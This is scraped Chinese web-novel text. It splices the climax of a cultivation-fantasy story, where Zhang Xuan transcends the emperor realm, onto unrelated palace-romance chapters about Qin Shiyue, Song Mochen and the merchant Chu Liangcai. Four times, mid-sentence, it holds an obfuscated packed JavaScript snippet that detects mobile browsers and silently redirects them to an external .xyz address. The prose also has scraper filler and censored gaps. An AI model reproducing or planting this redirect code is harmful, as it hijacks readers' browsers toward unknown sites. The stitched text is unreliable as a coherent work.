“反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882531|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第192章 马车失控 后院重地,哪里由得了别人查看? 卓天成心里不悦,但他哪里阻止得了辰王? 只见一个身穿黑衣的侍卫带头推开众人,自顾自走向被烧了一半的房间。 此人正是影夜。 “这里就交给下人们吧。”长公主抬手,捂住鼻子,随后转身离开。 卓府,前厅。 不多久,影夜带着一落信匆匆跑来,他神情紧张的跪在宋墨辰和长公主面前,恭敬的将证据呈上。 见到那些信件后,卓天成眉头微皱,有点反应不过来。 “这是什么?”长公主疑惑地问道。 “回长公主殿下,属下在后院搜出了卓家与人口贩卖团伙往来的信件,还请长公主殿下查看。” 长公主蹙眉,给一旁的丫鬟使了个眼色,丫鬟立即将信件递到她面前。 “卓天成!”长公主翻看两页,顿时愤怒的将信件甩到了他的脸上,“你可真行!” 卓天成被吓得直接从椅子上跌了下来,他哆哆嗦嗦地跪在椅子旁,却不知道到底发生了什么。 “殿下恕罪,草民不知何处得罪了殿下。”卓天成跪伏在地。 “来人,封锁卓府,任何人不得出入!”宋墨辰也翻看一下信件,突然冷脸,对自己的手下喊道。 不一会儿,整个卓府北封锁的严严实实,卓天成不明所以的跪在地上,一脸懵逼。 “把卓天成带下去,严加看管!此事等禀告给皇兄后再说!”长公主起身,愤怒地甩袖离开了。 “草民冤枉啊!”卓天成魂儿都被吓掉了一半,但仍不忘喊冤。 可即便这样,他还是被拖了出去。 淡漠的将这一切看在眼里,秦时月勾了勾唇。 解决了卓天成,还有秦怀瑾。 她清清嗓子,故意一脸悲伤的提醒道:“父亲,兄长是不是……需要送回家?” 这毕竟是长乐侯府的家事,其他宾客不敢多说,他们见长公主走了,也纷纷告辞。 长乐侯冷着脸,让家丁将秦怀瑾控制住,带了回去。 戏剧落幕,秦时月也不想在卓府待下去。 就在她要离开卓府的那一刻,宋墨辰突然走到她身旁,轻声说道:“要不要去我府上坐坐?我刚得了些新茶,想邀请秦小姐品鉴。” “乐意之至。”秦时月勾唇轻笑,上了宋墨辰的马车。 另一边,长乐侯回到侯府后,第一件事便是跑到柴房。 他到要看看,柴房里被关押的“秦怀瑾”究竟是人是鬼! 当他来到柴房,用皮鞭挑开假秦怀瑾脸上的头发后,顿时气得差点把皮鞭捏碎。 竟然被调包了,好大胆子,竟然敢在他眼皮底下做这种事,还有没有把他这个长乐侯放在眼里! 秦怀瑾被压到柴房门口,长乐侯抬脚将他踹倒在地,皮鞭不留情的甩在了他的身上,任他如何哀求嚎叫,长乐侯都没有心软。 如今卓家已经完了,秦怀瑾最后的靠山也倒了,如此,就别怪他这个做父亲的心狠手辣! 另一边,辰王府。 宋墨辰用熟练的手法为秦时月沏茶,“尝尝。” “不错。”秦时月细抿一口,抬头看向天空。 算算时间,小荷应该回来了。 刚才离开卓府时,秦时月特意命小荷回侯府盯着,她想看看,她那个好父亲知道真相后会不会对秦怀瑾下手。 小荷匆匆赶来,凑到秦时月耳边便要汇报。 宋墨辰假装不在意,拿起面前的茶喝了一口,实则好奇的不行。 “王爷不是外人。”秦时月笑了一下,示意小荷可以大胆说。 “是。”小荷领命,“侯爷得知真相后动怒,对大少爷用了家法,听说,打的皮开肉绽的。” 府里都是秦时月的人,小荷不用靠近就可以得到很多有用的信息。 不错,一次解决了两个麻烦,这次卓府之行,很有收获。 秦时月看向宋墨辰,故意说道:“你是故意让影夜去翻出那些信的吧。” “知我者,明月也。”宋墨辰没有否认。 他确实是故意的,秦时月想做的事,不论原因,不论过程,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890132|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论结果,他都会义无反顾的帮她。 他从影风口中得知,早在前两天,秦时月便派人潜入卓府,将那些东西藏在了卓府的后院。 先前他还好奇秦时月会用什么办法搜出这些证据,没想到,她竟然直接放了把火。 呵,真是太对他的心意了! “你别恭维我,我这点脑筋,可着实比不上你。” 仅凭她的一丁点动作就猜到了她的心思,还在她要让人去后院前派了自己的人过去,光是这份谋略,就不是一般人能做到的。 两人一边品茶,一边谈笑风声,时间过的很快。 不知过了多久,秦时月看看天色,对宋墨辰微微一笑,“时间不早了,我要回去看看我那个好哥哥。” 宋墨辰没有阻止,只是抬抬手,影夜凭空出现,“送王妃回府。” 秦时月小脸一红,抿抿唇没有说话。 不知道是不是自己的错觉,她总觉得宋墨辰在故意逗弄她…… 回府路上,秦时月掀开马车帘子,眼睛带笑地看着长街上的景色。 就在这时,马匹突然受惊,在长街上横冲直撞起来,小荷惧怕,立即将秦时月护在身后,而秦时月却推开小荷,反将她护在了身后。 她身手不错,这点小事伤不到她,反倒是小荷,更容易受伤。 “让开,都让开!”马夫一路高喊。 街上的人见马匹失控,脸色大变,纷纷逃窜。 就在这时,一位风度翩翩的公子出现在马车前,不等马夫反应,两匹马直接冲着公子撞了过去。 下一秒,公子被马蹄压在身下,马车也被护在四周的影卫强硬的控制住。 此时马夫吓得面色大变,秦时月稳住身形,看了小荷一眼,确定她没事,才拧着眉掀开帘子看过来。 “属下来迟,还请小姐降罪!” 秦时月没有说话,而是跳下马车查看那位公子的伤势。 那公子一身白衣,长了一张祸国殃民的帅脸,眸子虽然紧紧闭着,但眼尾狭长,若是睁开,定然是对能蛊惑人心的桃花眼…… 第193章 吃醋的战神很可怕 意识到自己走神,秦时月清清嗓子收回思绪。 “公子,你没事吧?”秦时月看着脸色发白的男子,眼里带着几分担心。 “我,我没事,就是手……” 男子抬起右手,一道可怖的红痕出现在秦时月眼前。 那只手明显肿了起来,手背的鲜血混着泥土,看起来十分严重。 “我带你去医馆。”秦时月立即伸手扶住他的右手,心里充满愧疚。 这位公子是因为自己受的伤,她心中难免有些愧疚。 秦时月抬眸扫了一眼,好在此处距离自己的医馆并不远。 小荷稳住心神后匆匆跑过来,和马夫接过男子,一起将人扶到了医馆。 到达医馆后,秦时月二话不说,从柜子里拿出上好的金疮药,认真地给男子上药。 这伤口有些深,看起来着实吓人,如果不好好处理,恐怕会留疤。 “不知公子姓甚名谁,家住何处?”秦时月主动问道。 公子愣了一下,蹙起眉头。 “公子别误会,让你受伤是我之过,我想晚点让人送你回去,改日登门,好好赔礼一番。” “在下褚良才,我住在城东那边。”褚良才简单说了一句,随后低头,嘴角露出了一个得逞的笑容。 他眼底带着算计,仿佛这一切都是他安排好的。 秦时月认真地给褚良才上药,并没有看到他这副小表情。 “褚公子回去后可千万不要碰水,每两三日过来找我换药。”秦时月叮嘱道。 “好,多谢姑娘,不知道姑娘怎么称呼。” 褚良才作了一揖,文质彬彬地看向秦时月,身上自带读书人才有的书卷气。 “我姓秦。” “好的,秦小姐。” “我派人送褚公子回去吧。”秦时月对一旁的下人招了招手。 下人得到命令,立刻走到褚良才身旁做了个请的动作。 可接下来,一连几天,褚良才都以右手伤势为借口,日日来找秦时月换药、看病。 对此,秦时月并没有察觉到不对,相反,总是很有耐心地为他换药,为他解惑医馆的事情。 不过,褚良才日日过来,她却不知道他是做什么的。 这日终于忍不住,在换药时,她主动提及,“不知道褚公子在京城做什么活计?” 听到这话,褚良才愣了一下,笑着回道:“在下是经商的,在京城中做点小买卖。” 秦时月眉头一拧,突然想起最近进京的,有贩卖人口嫌疑的商队。 他是经商的,想必应该知道这些商队的情况。 “褚公子这么厉害啊,那褚公子是否知晓最近来京城的商队?”秦时月脸上带笑,眼里却透着几分探究。 闻言,褚良才尴尬地笑了一下,道:“我就是做些小本买卖,没什么厉不厉害的,至于商队,我确实听同行提起过……” 他犹豫了一下,问道:“秦小姐打听商队,是想要和他们做生意吗?” “正是。”秦时月眉眼弯弯,淡定的点点头。 褚良才的话,几分真假掺在一起,显然,防备心很强,这更引起了她的怀疑。 “我一直在京中做生意,与那些人并不熟悉,若是秦小姐想要了解,那我便帮忙打探一番。”褚良才回应。 “多谢。”秦时月道谢,并将金疮药往褚良才的方向推了推,“已经上好药了,这瓶是我们医馆自制的,送给公子。” 褚良才拿起金疮药,明白她在送客,他也不纠缠,起身对她礼貌地作了一揖,文质彬彬地说道:“那在下就不打扰了,再会。” “再会,褚公子。” “秦小姐,放心,在下一定会为小姐打探清楚。”说完,褚良才转身离开了医馆。 待褚良才走后,秦时月收起笑容,端着茶杯喝了口茶,这才低低开口,“人已经走了,你还不现身?” 一股龙涎香自她身后传来,下一秒,宋墨辰直接压了过来,一把将她抱在了怀里。 她没有回头,却能够清楚的感受到他身上传来的侵略性。 “这个月,他来了几次了?”他语气不满,眸子却牢牢锁定在她的青葱玉指上,“他可真勤快。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890133|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话,带着几分醋味。 “毕竟是我的马车伤了他。”秦时月小脸绯红,心跳有些乱了节奏。 “哼。”宋墨辰松开秦时月,绕到她对面坐下,眼神,直勾勾的盯着她的红唇。 他不喜欢她对别的男人笑,尤其是那个什么褚良才! 见他这副模样,秦时月故意逗他,“褚公子风度翩翩,大抵是万千少女心中所喜欢的样子……” 听到这话,宋墨辰眉头一拧,眼中多了一丝意味不明。 她敢保证,若是她再多说一句,这位战神,一定会将她拆吞入腹…… 意识到自己在想什么,秦时月小脸一红,立刻道:“但我认为,任何人都比不得你!” 简单一句话,便把宋墨辰哄的亮了眼,弯了眉眼。 “你知道就好。”宋墨辰轻笑一下,眼神明显柔和几分。 他这辈子,怕是要败在秦时月身上了。 “而且,褚良才是个商人,商人重利,我对这种人没什么好感。”秦时月毫不避讳的说道。 她虽然也是商人,但她全凭自己喜好,跟寻常商人又有不同。 “不一定。”宋墨辰摇了摇头,为自己倒了一杯茶,“他的脸型硬朗,似乎不是京城人士。” 听宋墨辰这么一说,秦时月才反应过来。 虽然褚良才有着一口京城口音,但长相和京城人士却有不同,莫非,他接近自己另有目的? “影风,去查查。”秦时月对着空气说了一句。 只听嗖的一声,房梁上的黑影消失不见。 “马车是怎么回事?查了吗?”宋墨辰关心地问道。 侯府的马车、车夫都是经人专门训练过的,一般不会发生马匹失控的状况,他怀疑是有人故意为之。 宋墨辰本想亲自调查,奈何秦时月表示,这种小事不值得劳烦他,所以,就交给了侯府的下人。 “是马自己的问题,应该不是人为。”秦时月回应。 “是我多心了?”宋墨辰皱皱眉,不放心道:“不管如何,现在是多事之秋,万事小心。” 第194章 褚良才身份成谜 秦时月心头一暖,笑着给他倒上一杯新茶,“尝尝我这个,是我新得的茶叶,里边还添加了些醒神提脑的药材。” “嗯,果然好喝。”宋墨辰拿起茶杯,喝了一口,立刻喜欢上这种略带着一丝凉意感觉的新茶。 “对了,杨太师一事可有进展?”秦时月问道。 杨太师的事情,她一直放在心上,只是,她怕皇帝不相信那些证据,从而放过杨家。 若不是她太忙,必然要去太师府看看热闹。 “杨太师结党营私的证据已经交上去了,相信不日就会有结果。”宋墨辰笑脸盈盈地盯着面前那杯茶,又看了看秦时月,一脸幸福。 秦时月了然地点点头,道:“那就可以开始第二个计划了。” 若想彻底扳倒杨太师,只靠那些结党营私的证据还不够,她要让太师府声名狼藉,要让所有人都知道太师府的所作所为。 …… 不到一日,京中很快传出杨晟欺男霸女的罪名,还有杨家人殴打平民百姓、杨晟强抢良家妇女等,各种传言,甚至还有说,杨太师就是贩卖人口的幕后主使。 揽月园。 听完影风的汇报,秦时月满意地点点头。 “我知道了,下去吧。” 现在的杨家已经成为家家户户茶余饭后的谈资,百姓对杨家的态度也发生了反转。 杨家,声名狼藉。 “还有一事。”影风没离开,而是恭敬的继续,“属下按照小姐的吩咐去调查了褚良才,但此人背景干净,没什么特别的。” 说完,影风从腰间掏出一本小册子,递给了秦时月。 小册子上是褚良才的生平,包括他这段时间的踪迹,以及所作所为。 秦时月翻开册子仔细地看了看,果然没什么特别的。 册子中显示,褚良才是京城人士,自小在京中长大,后来跟着父亲经商,身边也并没有什么好友,多余的乐子,平日里除了做生意便是在家休息,可以说,十分简单。 可越是这样的结果,越让秦时月不安。 另一边,坟场下的暗室里,一个锦衣男子正在汇报。 “主子,属下发现有人正在调查您。” 听到这话褚良才并没有惊讶,相反,他拿起桌上的棋子放到手中,仔细看了看棋盘上的布局,然后将其放在了棋盘上。 “最近风声紧,暂停一切活动。”褚良才说着,从棋盘上将几个白棋拿下,扔到了一旁的棋盒里。 “是,主子。”属下回禀完毕后便悄然退下。 褚良才看着棋盘上的布局,心情大好。 鱼,上钩了。 一切都在按他的计划,有条不紊地进行着,下一步,就需要自己出面了。 第二日一早,褚良才选了一套浅蓝色长衫,长衫外罩着一层若有若无的纱衣,将他整个人衬的越发像个秀才。 换好衣服后,褚良才去了医馆。 伙计见到是他,立即将人引到了后院的房间。 “我们家掌柜的还没来,公子可以在这边等一会儿。”伙计行礼,识趣地退下。 褚良才在房间内转了一圈,被墙上挂着的野草图吸引住目光。 他停下脚步,认真欣赏着,嘴角不自觉的勾了勾。 普通小姐的房间内挂的都是些山山水水,而秦时月医馆内挂的竟然是野草图,着实有趣。 秦时月推门而入时,褚良才还在欣赏。 她挑挑眉,唤道:“褚公子。” “秦小姐来了。”褚良才回过身立即作揖,随后直起腰,略带歉意地说道:“在下被这幅画吸引了目光,不知这幅画作,是出自哪位大家之手?” 闻言,秦时月笑了一下,眸光落在了墙上的野草图上。 “就是在路边随意买的,不是什么大家的手笔。” 此图,其实是她画的。 此画不是野草,而是正儿八经的草药。 她跟着东方苑学习医术,在漫长的一段时间里,这些摸不着,嗅不到气味的图例是她的所有,也是从那个时候起,她不再画花鸟鱼虫,不再赏山川大河,而是,喜欢上了画草药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893306|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这野草图当真好看。” “是啊,生机勃勃的。”秦时月附和道,并不解释。 “褚公子,我看看你的手。”秦时月从腰间拿出一块手帕,将其放到桌子上。 褚良才将自己的手放到手帕上,眼神温柔地打量着秦时月。 这时他才发现,今日秦时月穿的襦裙竟然也是浅蓝色的,和他的,正好相配。 他眸光微闪,里边迅速闪过一丝连他自己都没察觉到的愉悦。 今日秦时月有事要办,换药结束后她便打算送他离开,但他却没有要离开的意思。 他的眼神始终放在秦时月身上,眼离,似乎多了一丝爱慕。 “褚公子还有事?”秦时月疑惑,不免蹙起眉头。 宋墨辰和她说过,褚良才的长相不像京城人士,现在仔细一看,确实如此,他的长相,倒像是外邦人。 难道,影风查到的那些都是假的? “前日听小姐说有兴趣做生意,不知在下有没有荣幸,能同秦小姐做药材生意?”褚良才说道。 她和宋墨辰都怀疑褚良才不简单,既然他主动提及,那她就看看,褚良才究竟是何许人也! 如果他真的如影风所言,只是一个单纯的商人,自己和他做生意,并没有什么影响。如果他是外邦人……那就有趣了。 “好啊。”秦时月点头同意,“我认识的药材商不多,如果褚公子需要,我可以把他们介绍给你。” 褚良才笑笑,“多谢秦小姐美意,我虽然认识的药材商一样不多,但,经商嘛,难免和他们打交道。” 言外之意,是他要给秦时月介绍药材商。 秦时月眉头微挑,嘴角带笑。 俩人离开医馆后,直接往南城,专门贩药的街道走去。 街上人来人往,不少商贩在当街叫卖,场面热闹。 “褚公子果然经商有道,我在京中长大,竟不知这里有专门贩药的集市。”秦时月嘴角带笑,眼底却冰冷一片,带着明显的试探。 闻言,褚良才面色稍变,眼神一闪。 第195章 不经意的下套 解释道:“先前我做的是香料生意,可去年有段时间下了几天暴雨,香料都被雨水淹了,我不得已,只能另谋出路,正是在那个时候,接触到了药材……” 原是如此,秦时月没有搭话,只是故意露出了个心疼的表情。 不一会儿,两人便来到药材商这边。 药材商见有客前来,立即将上等药材摆出来,然后笑脸盈盈地弓着身子向两人介绍,“这些都是新采的药材,秦掌柜您过目。” 秦时月在京中名声正盛,谁不知道她济世救人,医术了得? 不等秦时月说话,褚良才抬手,拿起篮筐内的药材,仔细地打量了一番,随后说道:“据我所知,新鲜的茯苓外皮呈棕褐色,里面是白色,可是这筐茯苓的颜色有点过黑了吧?” 说完,褚良才将手中的茯苓扔回筐内,嘴角微勾,眼神透着嘲弄。 站在一旁秦时月没有说话,只是静静地看着这一切。 看来,褚良才对药材确实有所研究。 药材商立即出言解释,“咳咳,这筐茯苓确实不是新鲜采摘的,但这些田七是,您看看?” 这茯苓里掺了点假药,寻常人根本分辨不出来,但这两位,怕是不好糊弄啊。 “田七确实新鲜。”褚良才冷哼一声没有点破,只是点了点头。 秦时月低头低笑,然后抬眸为二人介绍,“这位是褚良才褚公子,他想做药材生意,你们可以……聊聊。” “哎呀,是褚公子在。”药材商直起腰,笑着对褚良才作了揖,“不知褚公子想要与我怎样做生意?” 闻言,褚良才立即恭敬地回礼,并将自己的想法说了出来。 “就以茯苓为例,市面上的价格通常在十文钱左右,若是品质好的茯苓,要卖到一两银子。我手上有些上等茯苓,我可以将其交给你售卖,卖出去的利润二八分。” 不用付出成本,只要帮忙售卖就能拿到二分的利润,谁能不动心。 合作商看了一眼秦时月,见秦时月但笑不语,立刻同意。 “好,褚公子可以先放我这里一部分卖卖看。” 褚良才笑笑,继续道:“不过,我唯一的要求是,不得掺假。” 只一句,就直接点明了药材商的小心思。 药材商尴尬的笑笑,忙点头应下。 秦时月不语,但视线始终在褚良才身上。 她没想到他真的知晓京城的物价,并对药材如此熟悉。 看来,是她多心了。 就在此时,她身后突然传来一道冷哼声。 “呸!我说王老板,你是不知道明月县主的名声还是怎么的?她这种手段阴毒,**不见血的人,你也敢跟他们做买卖,不怕**后挂到城门上吗?” “**偿命!我等绝不与这种人为伍!” 此言一出,周围顿时响起不小的指指点点的声音,众人看秦时月的目光,更是让人浑身不适。 “明月县主?”褚良才明知故问,装的一副震惊又不敢置信的样子,“他们口中的县主,莫不是秦小姐?” 秦时月歪着脑袋俏皮一笑,“嗯。” 面对那些指责,秦时月神色未变,依旧笑盈盈的。 